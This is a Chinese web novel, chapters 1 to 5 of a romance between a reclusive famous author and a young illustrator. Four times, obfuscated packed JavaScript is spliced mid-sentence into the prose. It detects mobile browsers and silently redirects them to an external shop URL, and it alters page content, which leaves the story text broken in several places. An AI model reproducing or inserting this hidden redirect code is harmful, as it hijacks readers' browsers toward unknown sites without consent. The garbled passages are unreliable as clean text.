《男神竟在暗中觊觎我》 1. 第 1 章 B市的梅雨来得总是突然。 几分钟前还是燥热的晴日,下一刻湿气便浸透了每寸空气。 光线变得浑浊。 在这片灰败的调子里,人心也不免变得躁动。 长桌的侧位上,韵味文化传媒的王雷正努力维持着脸上近乎谄媚的笑容。 “顾先生,为表诚意,我们已按业内最高标准为《隐喻》设定了分成比例,请您务必给我们一个机会。” 王雷将备好的合同推向长桌的主位,语气热切。 他口中的《隐喻》,是顾延两年前出版的一部作品。 此书一经面世便轰动文坛,斩获无数大奖,更被读者奉为难以超越的经典。 而身为作者本人,顾延极其低调,从不公开露面,更拒绝了一切作品的衍生开发邀约。 这部《隐喻》,是他至今唯一松口,愿意洽谈影视改编版权的作品,其口碑与价值,让整个业界都为之疯狂。 王雷所在的韵味文化,便是众多竞争者之一,也是目前看来最有希望的一家。 长桌的主位上,顾延随意地坐着。 他穿着一身得体的黑色西装,衬得肤色愈发冷白。听到王总的话,顾延连眼皮都没抬一下,骨节分明的手指轻搭在桌面上。 男人垂着眼,视线落在桌面那部熄屏的手机上,仿佛那暗下去的屏幕,比眼前这场关乎巨额利益的谈判更值得关注。 无法言喻的压力在会议室里弥漫开来,比窗外的闷热更让人难以呼吸。 王总脸上的笑容僵了僵,额角似有汗意,他将求助的目光投向顾延身侧的一位年轻女性。 那是林佳,顾延的责编,也是他几乎所有对外事务的代言人。 摊在林佳面前的,是一份相同的合同,细节她早已仔细核对。 接收到王雷的求助,她报以一个职业化的微笑:“王总,贵司的诚意我们确实感受到了。” 林佳先是肯定了对面的方案,话语圆融,就在对方以为大局已定时,她的话语却顺势一转:“不过,在分成比例之外,我们更关心的是核心条款的落实。比如上次重点讨论的剧本最终审定权,这一条似乎并未按沟通意见修改。” 她的手指点在合同某一项条款的附属细则上。 “这里写的是作者只拥有建议权,这与我们的要求存在本质上的区别。” 王雷心里咯噔一下,他就知道,这一关没那么好过。 顾延的严苛在圈内是公认的,而他本人惜字如金。因此,所有要求都由林编辑代为传达与执行。 业内早已形成一个共识,林编辑不只是传声筒,她的意思就是顾延本人的意愿。 “这个...林编辑,您听我说。”王雷搓了搓手,试图缓和气氛,“我们绝对是尊重顾先生的意思,只是您也知道,影视创作是一个集体艺术,涉及到导演、编剧、制片方等多方面的意见。如果完全将最终审定权交给作者,资方会担心创作灵活性受到太大限制。” “我们折中一下,改成重大修改需经顾先生书面同意,您看如何?” 林佳侧首望向顾延,这动作如同一个信号,牵引了整个会议室里所有视线的走向,再次汇聚于主位的男人身上。 顾延缓缓从手机屏幕上抬起眼,沉静的眸子落在王总脸上。 那目光并不锐利,却带着淡漠,让久经沙场的王雷心头一阵不安。 会议室里落针可闻。 身为焦点的顾延不紧不慢,吐出进入会议室后的第一句话。 “不行。” 听到顾延的拒绝,王雷的脸色变了几变,他张了张嘴,还想再争取什么:“顾先生,这...” 耐心告急,顾延不再看他,径直起身。 林佳立马心领神会,合上面前的合同。 “王总,看来我们双方在核心诉求上还存在根本性的分歧。很遗憾,今天的会谈就暂时到这里吧。” 窗外,酝酿已久的天空终是落下了雨点,方才还井然有序的街道,此刻已是忙乱一片。 行人们被这突如其来的落雨砸得措手不及,狼狈地冲向最近的屋檐。 写字楼宽大的挑檐下成了临时的避难所,不一会儿便人满为患。 “司机已经把车开过来了,大概需要三四分钟。”确认完车辆的位置后,林佳挂断电话,转向顾延说道。 顾延淡淡地“嗯”了一声,停下脚步。 雨势毫无减弱之意,反而更加急促,屋檐下有限的空间里,人群已是水泄不通。 只见雨幕中,又一个身影正狼狈地朝这方拥挤的避难所奔来,他敏捷地挤进挑檐下所剩无几的空间里,停在顾延身边不远的位置。 少年看起来年纪不大,他用手将一块四开大小的画板顶在头顶,聊作遮挡。 但画板能提供的庇护实在有限,雨水浸湿了他额前柔软的黑发,几缕湿发贴在额角,水珠顺着发梢滚落,划过他清隽的侧脸和白皙的脖颈,最后悄然没入衣领。 单薄的白色T恤也因为湿气微微贴附在身上,隐约勾勒出漂亮的腰间线条。 注意到身旁站着的人投来的视线,方闻洲转过头,恰好对上了顾延尚未完全移开的目光。 他并不局促,反而大大方方地回以一个笑容。 那双清澈的眼睛弯成好看的月牙状,眼底流转着细碎光亮,恍若阳光破开重重阴霾,直透人心。 顾延瞥了他一眼,随即垂下眼帘,姿态疏离,明显不愿有更多交流。 方闻洲也不在意,好脾气地回过头,抬手擦了擦脸上的雨水。 不久,一辆黑色的宾利开至路边,停在写字楼正前方。车门打开,司机撑着一把宽大的伞,快步绕过车头,恭敬地将伞面倾向顾延头顶。 “顾先生,请。” 神情漠然的男人微一颔首,迈开长腿踏入车内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742324|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。自始至终都未再看向方才有过短暂交集的少年一眼。 车辆驶远,汇入车流。 就在宾利离开后不久,急骤的雨势竟也奇异地渐渐收歇,阴云未散,但天空总算亮了一些。 方闻洲仰头看了看天,松了口气。 他被困在这将近半小时,画板边缘都被雨水泡得有些发软,小心地将画板夹在身侧,他迈开步子,朝着学校附近的方向走去。 作为一名刚刚完成所有毕业论文答辩的大四学生,方闻洲正处于一段难得的空闲期。 只是,这闲暇并非全然用来享受。为了支付房租和生活费,他晚上时常会接一些商业插画或游戏原画的私稿。 画画时需要绝对的专注,通宵赶稿更是家常便饭,宿舍的作息环境显然不再适合。 综合考虑之下,他在学校附近的老小区里,租下了一间一室一厅的小房子。 回到出租屋,方闻洲冲了个舒服的热水澡,便将自己摔进柔软的床里。 时间尚早,他习惯性地摸过床头的手机,登录微博,点进那个只关注了“言故”一人的分组。 界面刷新,最新的微博依然停留在一年前。 「完结了。」 没有多余的感慨,就像他笔下那些决绝的结局,干脆利落。 自那之后,这个账号就彻底沉寂。 方闻洲的手指徒劳地再次刷新,明知道不会有任何变化,却仍按捺不住期盼能出现一点奇迹。 那条沉寂微博的评论区,至今仍活跃着每日前来打卡的读者,留言里满是对“言故”的思念与追问。 “大大,新书有计划吗?” “言故老师,您什么时候回来?” “求求了,看看孩子吧,快书荒致死了...” 在一片殷切呼唤之中,也夹杂着越来越多不安的揣测。 近几年,整个网文圈都弥漫着一股浮躁的气息。 资本大举入侵,数据造假几乎成为常态,真假难辨的营销号混战日日上演。 为了流量和话题,部分作者和平台无所不用其极,跟风创作,甚至煽动读者互撕引战,乌烟瘴气。 版权交易看似繁荣,背后却是对原创内容的魔改,真正尊重作品的合作方凤毛麟角。 在这样的背景下,“言故”长达一年多的彻底沉寂,难免让一些人产生了悲观的联想。 “言故大大是不是封笔不写了?” “很有可能,他那种对作品极致认真的态度,跟现在这环境格格不入啊。” 一条条读过这些评论,方闻洲心里像是被这些话勾起了共鸣,隐隐发紧。 他无法否认这些猜测的可能性。以言故在作品里展现出的那种近乎偏执的完美主义,很可能无法忍受当下这种唯流量是图的商业环境。 关上手机,方闻洲轻轻叹了口气,闭上眼。 言故,你还会回来吗? 2. 第 2 章 这缕牵挂轻轻拂过心间,却又被他压了下去。 木已成舟,多想无益。 该完成的稿件已到最后的截止期限,他收起纷乱的心绪,强行将自己投入到未完的工作中。 笔触在数位板上流畅划过,勾勒出单主要求的线条与色彩,窗外的夜色逐渐浓重,等最后一处细节修饰完成,屏幕右下角的时间也来到了凌晨一点。 仔细检查过图层,确定无误后,他点进小企鹅将画稿打包给单主。 文件传送完毕,方闻洲活动了一下有些僵硬的脖颈,长时间的专注绘制让他的眼睛和肩膀都有些酸涩。 他正准备关掉电脑,小企鹅的提示音及时响了起来。 【星辰:啊啊啊我死了!这个构图!这个光影!】 【星辰:你看这个男主角的眼神,嘶哈嘶哈,又克制又深情,感觉下一秒就要把人按在墙上亲了但是又拼命忍耐!阿伟死了又死!】 【星辰:……神仙下凡辛苦了!![跪了]】 单主激动得语无伦次,一连串的赞美不带喘气地刷了屏,方闻洲看着对方能透过文字传递出来的雀跃,忍不住笑了笑。 这个“星辰”是方闻洲的老主顾,从他初出茅庐、画风尚显稚嫩时,“星辰”就不吝鼓励,还为他牵线介绍过几个小单子。 这份雪中送炭的情谊,方闻洲一直铭记于心。几年下来,两人虽素未谋面,却早已成了无话不谈的线上老友。 【闻舟:刚画完,你看看有没有需要修改的地方。】 【星辰:不用改!太太您的稿子从来都是神级水准,外面那些出天价都约不到您稿子的人知道,怕不是要半夜给我堵在家门口。】 这话倒是不假。 “闻舟”之名,在原画圈内无人不知晓。 他笔下的人物不仅形神兼备,更蕴含着呼之欲出的情感张力与故事感。 尤其擅长刻画角色间的互动,往往只需一个眼神交汇或一抹唇边浅笑,便能令人面红耳赤,心潮澎湃。 尽管商业合作邀约与天价稿单塞满邮箱,但“闻舟”接稿全凭心情眼缘,产量极低,使得其稿位有价无市,一席难求。 【闻舟:别这么说,你喜欢就好。时间不早了,早点休息呀。】 【星辰:好好好,那我去付尾款,就不打扰太太了,晚安!】 结束对话,方闻洲收下了对方转来远高于市场价的稿费。 他明白这是“星辰”的心意,过分推拒反而生分。 关掉电脑,窗外的城市已陷入沉睡,唯见零星灯火。 后天他还有一场重要的面试,必须调整好状态去应付。 方闻洲在微博上简单地挂了一条“近期暂不接新稿,旧约按顺序完成”的公告,便躺回床上,将脸埋进柔软的枕头里蹭了蹭,不一会儿便沉沉睡去。 —— 第二天一早,城市的另一端,顾行辰心情大好地踏进了自家公司的大门,嘴里还哼著不成调的小曲。 “小顾总早。” “早啊。” 回应完员工的招呼,顾行辰一路带风地走向自己的办公室,刚推开办公室的门,他立马收敛起吊儿郎当的模样,变得规规矩矩。 “哥,你怎么这么早来了?吃早餐没?我让助理给你送点上来?” 宽大的办公桌后,顾延正随意地翻看着一份晨间送来的财经报纸。 他今日难得未着西装,只一件简单的白衬衫,那份清贵气质却未曾稍减。 听到顾行辰的声音,顾延的目光并未从报纸上移开,只是眼睫微抬,“吃过了。” 他话音落下,视线在顾行辰春风得意的脸上短暂一掠,随即淡淡补了一句,“看来昨晚睡得不错。” “何止不错。”顾行辰被点燃了分享欲,几步走到顾延身前,“我偶像昨天交稿了,你不知道,那幅画的光影和人物神态,简直绝了。” 他喋喋不休地赞美著,试图向自家堂哥传达那份激动。 顾延面无表情地听着,修长的双腿交叠,姿态是一贯的矜持。 他对那位画师提不起半分兴趣,任由顾行辰沉浸在自己的赞美里,他则兀自将看完的报纸仔细折好。 利用这个空隙,他等到顾行辰的分享欲暂告一段落,这才不紧不慢地切入正题:“你昨天发我的那份市场分析报告,我看完了。” “啊?哦哦!”顾行辰的思绪被拉回现实,连忙正了正神色,“怎么样?有什么高见?小弟愿闻其详。” 他今年刚接手父亲交来的游戏公司,正是雄心勃勃、想要大展拳脚的时候,可惜经验尚浅,许多决策仍心里没底。 一次聚会上,他偶然与顾延聊起当下的市场趋势与用户心理。顾延不过随口几句分析,就点出几个容易被人忽略却又至关重要的潜在风险,角度独特,令科班出身的顾行辰大为震撼。 他这才后知后觉地想起,顾延大学时攻读的正是经济学,一度是最符合家族期待的继承人,原本理应沿着早已铺好的路,按部就班接手家业,稳步向上。 以他的头脑和家世,这本是几乎注定的人生路径。然而毕业在即,顾延却做了一件让所有人都不解的事。 他拒绝了所有安排,一头扎进了那时还无人看好的文学创作中。 自那以后,顾行辰便像抓住了救命稻草,一遇难题就想方设法地求助顾延。 他软磨硬泡,无所不用,恨不得将这位堂哥直接绑来公司坐镇。 顾延起初不胜其烦,几次严词推拒,最终实在拗不过对方的执着,才勉强松口,答应这是最后一次。 双方有言在先,他自然不会食言。 “数据翔实,分析框架也还算工整。不过你想进军二次元手游的红海,只靠这些大路货的分析,远远不够。” 顾行辰虚心求教:“哥,你接着说。” “市场同质化严重,玩家早已审美疲劳。玩法微创新,靠营销砸钱这条路,巨头们走得比你们更稳。” “那突破口在哪里?” “情感价值。”顾延身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742325|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微后靠,目光落在顾行辰脸上,“与其在玩法赛道上与巨头硬碰硬,不如在内容上构筑壁垒。当玩家对一个角色产生真正的情感投射与羁绊,其带来的用户粘性,会远超你如今的数值。” “所以你需要找的是能用画笔赋予角色灵魂的人。市场上技术卓越的画师很多,但具备这种共情与叙事能力的,凤毛麟角。” 顾行辰听得双眼发亮,顾延寥寥数语,就帮他拨开了眼前的迷雾。 “我明白了哥,就像我崇拜的那位画师,他笔下的人物就有这种魔力,一个眼神就能演绎出万语千言。要是能请到我偶像来坐镇,那该多好。” 这个念头让他热血沸腾,但下一秒,现实的冷水就泼了下来。 他这间名不见经传的小公司,拿什么去请动那位在原画圈封神的人物?恐怕连发出邀请的邮箱,都会被对方直接归为垃圾邮件。 顾行辰高涨的情绪跌了一半,肩膀也垮了下来,喃喃道:“唉,人家那是神仙人物,怎么可能下凡来我这小庙。” 顾延对他脑子里这番天人交战兴味索然。 他站起身,语气淡漠,显然不打算再参与更多。 “方向已经给你了,具体的人选需要你自己去发掘。我答应你的事做完了。” “别啊哥!”顾行辰见状,拦住他的去路,脸上堆起讨好的笑,“再帮帮我嘛,要不,你来公司挂个职?不用坐班,就偶尔帮我看看方向,提点提点?条件随你开!” “顾总,”顾延打断他,“这是你的公司,需要你自己掌舵。” 深知他言出必行,再说下去也是徒劳,顾行辰只能唉声叹气地目送他离开。 办公室门合上,顾行辰烦躁地抓了抓头发,坐回椅子上,目光不由自主地又落在了手机屏幕上存的那张刚收到的画稿上。 光与影在他笔下缠绵交织,竟让旁观者生出刹那的错觉 仿佛只需屏息凝神,便能看见画中人眼睫微颤,听见那未曾出口的万语千言。 —— 回到位于市中心的高层公寓,顾延顺手解开衬衫最上方的两颗纽扣,像是这样就能卸下某种无形的束缚。 室内只亮着几盏氛围灯,光线昏昧,勾勒出他的侧影。他习惯在这样的绝对安静中独处,用以平息与人接触后心底隐约泛起的躁动。 某种难以言喻的渴望,偶尔会缠绕上来,勒进皮肤,带来难以忽视的空虚感。 为了转移注意力,顾延拿起手边的平板,界面跳转,他熟练地登入了自己的微博小号。 刚进入主页,一条新挂出的公告便映入眼帘。 【闻舟:近期暂不接新稿,旧约按顺序完成。】 即便不是任何日常动态,顾延的视线也在那条公告上停留了须臾才收回。 在与顾行辰讨论所谓的画师时,顾延脑海中浮现的,从头到尾就只有那一个人。 至于顾行辰口中的那位偶像。 顾延轻嗤一声。 他怕是连“闻舟”的万分之一都够不上。 3. 第 3 章 不过,他并未将这个最佳人选告知于他人。 无意分辨这究竟是占有欲在作祟,或是其他更为晦暗难辨的心绪,结论并无不同。 他拒绝将闻舟同他人分享,即便对方与自己血脉相连——也不行。 那是他独自珍藏的宝藏。 退出主页,他点开与闻舟的私信对话框。 界面冷清。 上行的消息,停留在月初闻舟新作发布时,他发出的几句简短赞美。 未读未回,消息没有得到任何回应。 顾延对此早已习惯。此刻,他借由主页那则新公告,又为自己找了个理由,向他的宝藏发出消息。 “看到公告了,老师别太劳累,好好休息。” —— 时间在琐碎日常里流逝的飞快,只眨眼的功夫,面试的日子就到了眼前。 一连下了两天的雨,今天是个难得的好天气。 方闻洲站在衣柜前,目光在几件衣服间游移,生平头一遭的面试让他对着装犯起难来。 他担心穿得太过正式显得刻板,又怕日常的衣着过于随意,不够庄重。 最终,他还是取出了那套为毕业答辩准备的深灰色休闲西装。 衣服上身,勾勒出青年正好的身形,少了平日里的随性,多了些许正式。 只是他天生一张显小的脸,眉眼干净,即便穿着正装,也像是偷穿了大人衣服的少年,那种介于青涩与成熟之间的韵味,反而形成独特的气质。 双方约好的时间快到了,方闻洲拿起准备好的作品集和简历,走出家门。 今天要面试的是一家名为“辰星互动”的游戏公司,规模不算业界顶尖,但近两年推出过几款口碑不错的独立游戏,美术风格尤其受到好评。 最让他心动的是,公司离他租住的公寓只有一刻钟地铁车程。 公司位于一栋写字楼内,环境明亮整洁。 他刚踏进门口,前台负责招待的女生立刻抬起头,扬起一抹职业化笑容。在看到方闻洲的瞬间,她眼中略过难以掩饰的惊艳,连笑容都真切了许多。 “您好,请问找哪位?” “你好,我是来面试的,应聘的是游戏原画师岗位。” “好的,请您稍等一下,我通知面试官,您先在那边休息区坐一会儿吧。” “谢谢姐姐。”方闻洲从善如流,走到旁边的沙发坐下,乖巧地道谢。 这一声“姐姐”让前台的职业化微笑险些破功,她强压住上扬的嘴角,维持淡定:“不客气,您稍坐。” 前台效率很高,方闻洲并未等多久,一位看起来颇为干练的中年男士就从办公区走了出来。 他的目光在休息区稍作搜寻,落在了唯一的生面孔上。 “是来面试原画师的方闻洲吗?” 方闻洲站起身:“是的,您好。” “跟我来吧。”面试官点点头,转身引路。 道别前台,方闻洲与面试官并肩走入办公区。 刚转过一个弯,前方便传来了脚步声,见通道并不宽敞,方闻洲放缓步子,向面试官身后错开一步,想让对方先行。 不料,走在他侧前方的面试官突然停下了脚步。 “小顾总早。” 听到面试官的话,方闻洲抬头望去。 来人是个年轻男人,穿着时尚骚包粉色衬衫,手里端着杯咖啡,往面试官身后掠过。 “早,来面试美工部的?” “是的,小顾总。” 年轻男人挑了挑眉,努力端起高冷范儿:“今天来面试的就他一个?” “还有两位应聘者,已经安排在面试室里等着了。” “那正好,我闲着也是闲着,一起过去看看。” 面试官闻言,心下诧异。 这位小顾总平日鲜少过问具体招聘,尤其基层岗位向来交由部门总监定夺。今日竟主动提出旁听,实在反常。 难道是因为... 他不动声色地用余光瞥了眼身侧的青年。 是了,问题大概率出在这位应聘者身上。 这少年实在生得扎眼,即便在见多识广的面试官看来,也属罕见。 倘若小顾总果真看上这人,我又没能给出良好评价,恐怕会有损他的颜面。 他感到些许压力。 职场沉浮多年,他深知这些公子哥的心思最难揣测,有时兴之所至的一个举动,底下的人就得琢磨半天,生怕行差踏错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742326|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>嗯,务必要谨慎再谨慎。 尽管心绪百转,面试官脸上仍保持着得体的笑容。 三人走进一间小型会议室,里面已经坐着两位等待面试的年轻人。 他们看起来都比方闻洲年长几岁,见面试官进来,他们立刻从座位上起来迎接。 “请坐,不用紧张。”面试官恢复了专业的温和态度,示意他们坐下,将主位让给顾行辰,自己则拉开旁边的椅子坐下。 “感谢各位今天的到来。我们将按到场顺序进行面试,请另外两位候选人到休息区稍作等候。” 按照到场顺序,最后抵达的方闻洲,自然被安排在最后一位进行面试。 和他一同在会议室外等候的面试者,脸上看似平静,可不自觉抖动着双腿泄露了其内心的焦虑。 方闻洲和他持两种不同的心态,对于这次面试,他并没有太多紧张。更多是抱着积累经验的想法,想来感受一下团队合作的氛围。 即便最终没能被录用,对方闻洲而言也没有什么影响。 时间在等待中分秒流逝,透过未完全关严的门缝,能隐约听到里面传来的交谈声。 干坐着也无趣,方闻洲索性登上了小企鹅,打算看看有没有需要返工的稿件。巧的是,他刚上线,就收到了常合作的一位画师朋友发来的消息。 【吐司:宝儿,有大瓜听不听?!】 【闻舟:什么?】 【吐司:听说韵味文化没能拿下《隐喻》这部作品的影视改编权。】 这个消息倒是出乎方闻洲的预料,韵味文化作为业内知名影视制作公司,竟连他们都未能拿下。 【闻舟:消息源可靠吗?之前确实风声很大,都说是韵味势在必得。】 【吐司:八成真。我学姐在韵味项目部实习,说他们为这项目忙活了半年,报价也高,可惜言故那边还是婉拒了。】 【闻舟:什么原因?】 【吐司:好像是因为作者本人对几条核心条款咬得很死,没谈拢。】 那一定是韵味文化的错。 方闻洲暗自想着,手机又是一震,他低头看去,是“吐司”发来的新消息。 然而,这次的消息只一眼,就让他瞳孔微缩,呼吸骤停。 4. 第 4 章 【吐司:另外还有个更重磅的消息,不过这消息还不保真,你先别抱太大希望。】 【吐司:据言故大大的亲友透露,他似乎有意开通《隐喻》的漫改,并大幅放宽同人创作的限制。】 作为相识多年的好友,吐司深知方闻洲对言故的喜爱。 因此,当发出这条尚不确切的传闻时,心情不免有些矛盾,既为朋友感到欣喜,也担心他期望越高,往后失望会越大。 屏幕这头,纯粹的喜悦代替了最初的震惊。 方闻洲再也抑制不住地扬起嘴角,脸颊上随之浮现出两个小梨涡,这笑容让他整张脸都明亮起来,热烈而灿烂,宛如一块刚刚出炉的小蛋糕。 小蛋糕低下头,指尖在屏幕上轻快跃动,敲下了一行字。 【闻舟:没关系,我不怕!如果消息确切,不管怎么样,我都会试着去争取一番。】 时间的流逝在方闻洲这里变得模糊。他仍沉浸在言故作品可能开放版权的喜悦中,直到面试室的门再次打开,才恍然回神。 第二位面试者不知何时已结束面试,正从里面走出。方闻洲深吸一口气,按下澎湃的心潮,抬脚走进面试室。 一进门,那件亮眼的骚粉色衬衫再次映入眼中。与旁边正襟危坐的面试官不同,顾行辰姿态闲散地靠着椅背,百无聊赖地转着笔。 前两位面试者中规中矩的表现,早已消磨掉他本就不多的期待。要不是昨天听了他哥那番意有所指的话,他今天绝不会出现在这个面试现场。 想到下午还有个重要会议,顾行辰更不打算在此多耗时间。他朝面试官略微颔首,就朝门外走去。 见到顾行辰的举动,面试官脸上短暂呆了会,随即像想通了什么关窍,目光在已经空置的座位与眼前姿容出众的青年之间快速逡巡了一个来回。 前两位应聘者面试时,这位小少爷可是纹丝未动地坐着,偏偏在这少年进来的当口离开? 这绝非临时起意,而是意有所指。 定然是小顾总为了不干扰他对这少年做出公正客观的评价,这才刻意寻了个借口离开。 自认为摸准了上司心思的面试官顿时有了底,在心里赞叹。 小顾总虽看起来玩世不恭,行事却自有章法不失公允。 无论如何,能让小顾总如此迂回对待的人,必有不凡之处。 面试官伸手示意方闻洲落座,就开始了常规流程。 “首先,能请你简单谈谈对‘辰星互动’近期作品的了解,以及你为什么选择我们公司吗?” 方闻洲显然做足了功课,对答时条理清晰,还能不时提出自己独到的见解。面试官听得频频点头。 随着常规问题逐一展开,他眼中的赞许之色越来越浓。 “很好,你作品集今天有带来吗?” “有的,请您指教。”方闻洲从文件袋中取出作品集,递了过去。 面试官接过作品集,初时只是随意翻看,但没过几秒,他翻页的速度开始放缓,原本审视的目光变得灼热。 画作中展现出的不仅仅是扎实的功底和娴熟的技巧,更有喷薄而出的灵气与惊人的创造力,不管是人物亦或者是场景,在他笔下都显得栩栩如生。 这完全超出了应届毕业生所能企及的常规水准! 不,他不该被置于普通应届生的行列中比较。这样的作品,即便是他亲自执笔,也未必能胜出。 合上作品集,面试官看向方闻洲的眼神彻底不同,他迫不及待地询问:“方同学,你最快方便什么时候来入职?明天可以吗?” 这急切的架势让方闻洲懵了瞬,随即他有些不好意思地抿唇浅笑:“非常感谢您的认可,明天可能有点仓促,能给我一周的时间准备一下吗?” 并非拒绝,面试官心下稍安,生怕到嘴的鸭子飞了。 他一锤定音:“没问题,那就说定了,一周后我们期待你的到来!” 面试在双方愉快的氛围中结束。面试官的态度比初见时热情数倍,亲自将方闻洲送到办公室门口。 时值正午,空气里飘荡着各种食物诱人的香气。直到这时,方闻洲感到一阵饥饿,为了面试,他早餐只胡乱塞了几口,此刻胃里空得难受。 夏日的阳光炙烤着大地,他无心停留,加快脚步汇入人流,朝着地铁站走去。 二十分钟说长不长,但在三十几度的天气下格外难熬。 等走出地铁站拐进熟悉的街道,燥热被两侧建筑的阴影挡住,方闻洲才算有了喘息的时机。 眼看就要到小区门口,却见前方不远处稀稀拉拉围了几个人。 透过缝隙,能隐约看到被人群围住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742327|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一个破旧的纸箱,方闻洲脚步未停,走近了才看清具体的情况。 只见箱子里是几只绒毛稀疏的小猫,看样子就两三个月大小。 围观的人脸上挂着怜悯的神情,议论声不断从各个方位传来。 “哎哟,这哪家干的?这么小的猫崽就给扔出来了,真造孽。” “大中午的,盒子里连猫粮也不备点,谁这么缺德。” “嚯,你们看这只三花脾气不小哈,还会冲我们呲牙,小模样挺凶。” 话语间,不少人动了心思。 一位眼尖的大妈率先出手,将品相最漂亮的那只狸花猫揽入怀中。紧接着,那只对着人呲牙的凶悍三花,也被一个年轻人拎着后颈皮提了起来。 纸箱前上演了场“手慢无”的争夺,好看些的小猫崽都被陆续挑走了,围观的人群也渐渐散去。 方闻洲站在旁边看着箱子里的小生命一个个减少,直至最后,箱底只剩下孤零零的一小团。 那是箱中最瘦小的一只,毛色灰扑,显得凌乱又脏污,远不如它的兄弟姐妹们鲜亮。 它似乎连呲牙的力气都没有了,只是蜷缩在纸箱的角落,小小的身体随着呼吸微弱地起伏。 人群来来往往,偶尔有新的路人被纸箱里的小猫吸引,驻足观察。但目光落到那只小猫身上时,都纷纷摇了摇头。 “唉,就剩这只了,看起来不太精神啊。” “毛色也杂,不好看。” 议论声飘过,无人停留。 太阳愈发毒辣,方闻洲不动声色地挪了挪位置,用身体投下的阴影将整个纸箱笼罩其中。 小区的保安大叔在岗亭里看了许久,终是不忍心,走出来劝道:“小伙子,心善是好事,但这大热天的,你也不能一直在这儿晒着啊。这猫看样子不太好,估计是没人要了。” 方闻洲对保安大叔露出感激的微笑,声音温和:“谢谢您,我再等等看。” 又过了十来分钟,纸箱里,那只小猫像是感知到了自己被遗弃的命运,它努力抬起头,对着方闻洲的方向,微弱地“咪呜”了一声。 那声音气若游丝,却让方闻洲终于下定了决心。 他不再犹豫,俯下身,小心翼翼地将没人要的小猫护在怀里。 “走,”方闻洲轻声道,“我们回家。” 5. 第 5 章 小猫轻飘飘的没什么重量,方闻洲不敢用力,只能虚虚拢在掌心,加快脚步朝租住的公寓楼走去。 怀里的小生命格外孱弱,一动不动地缩在他臂弯里,唯有细微的呼吸证明它还活着。 一进家门,方闻洲直奔卧室,从衣柜深处翻出一条羊毛毯。他仔细地将小猫裹进毯子里,只露出个小脑袋。 小家伙依旧昏昏沉沉,半眯的眼睛毫无神采。 情况危急,不能再拖了。方闻洲拿起手机,开始搜索附近的宠物医院。 他不差钱,只求最好的医疗资源,故而给小家伙找的宠物医院也是软件里综合评分最高的。 车程不过半刻钟,宠物医院的招牌便出现在眼前。 店面装修简洁明亮,由于今天是工作日,候诊区只有零散两三位带着宠物的主人在等待。 见到新的客人进来,前台护士热情的询问,“您好,请问有预约吗?” “没有,是临时过来的。”方闻洲有点不安,“没预约不能看吗?” 他是第一次带宠物来医院,完全不熟悉流程,来时匆忙更无暇查阅,此刻真怕因为这疏忽耽误了救治。 护士察觉到了他的情绪,回以一个安抚的微笑:“平时人多是需要预约的,不过今天客人少,我这就为您登记,请您在那边稍坐,轮到时会叫您。” 听了护士的话,方闻洲这才松了口气,道过谢后,他走到等候区的长椅坐下。 等候区布置得很温馨,有供宠物玩耍的玩具,还有免费的饮水机。 许是换了新环境,怀里的小猫不安地动了动。方闻洲赶紧低下头,用手掌整个护住它,语气轻柔:“不怕,我们看了医生就好了。” 小猫很通人性,渐渐安静下来,乖顺地窝在他怀里,不吵也不闹。 等待的时间异常煎熬,方闻洲的目光不时掠过诊室紧闭的门,又落回小猫身上。 就在他全神贯注于小猫的状况时,诊所的门再次被推开,面前的光源被高大的身影遮挡,方闻洲抬头望去。 只见进来的男人牵了只通体雪白的萨摩耶,他神色冷峻,身姿挺拔,周身散发着强大的气场。 男人正拿着手机打电话,声音低沉,“狗都管不好,你还能干什么?” 安静的候诊区内,男人讲电话的声音即便压得较低,也一字不落地传入了方闻洲耳中。 他无意窥探他人隐私,回过头,将注意力重新集中到怀里的小猫身上。 然而,他的思绪总是被那个男人牵住。 方闻洲总觉得这个男人长得极为眼熟,鬼使神差地,他忍不住再次飞快地抬眼,偷偷瞥向那个方向。 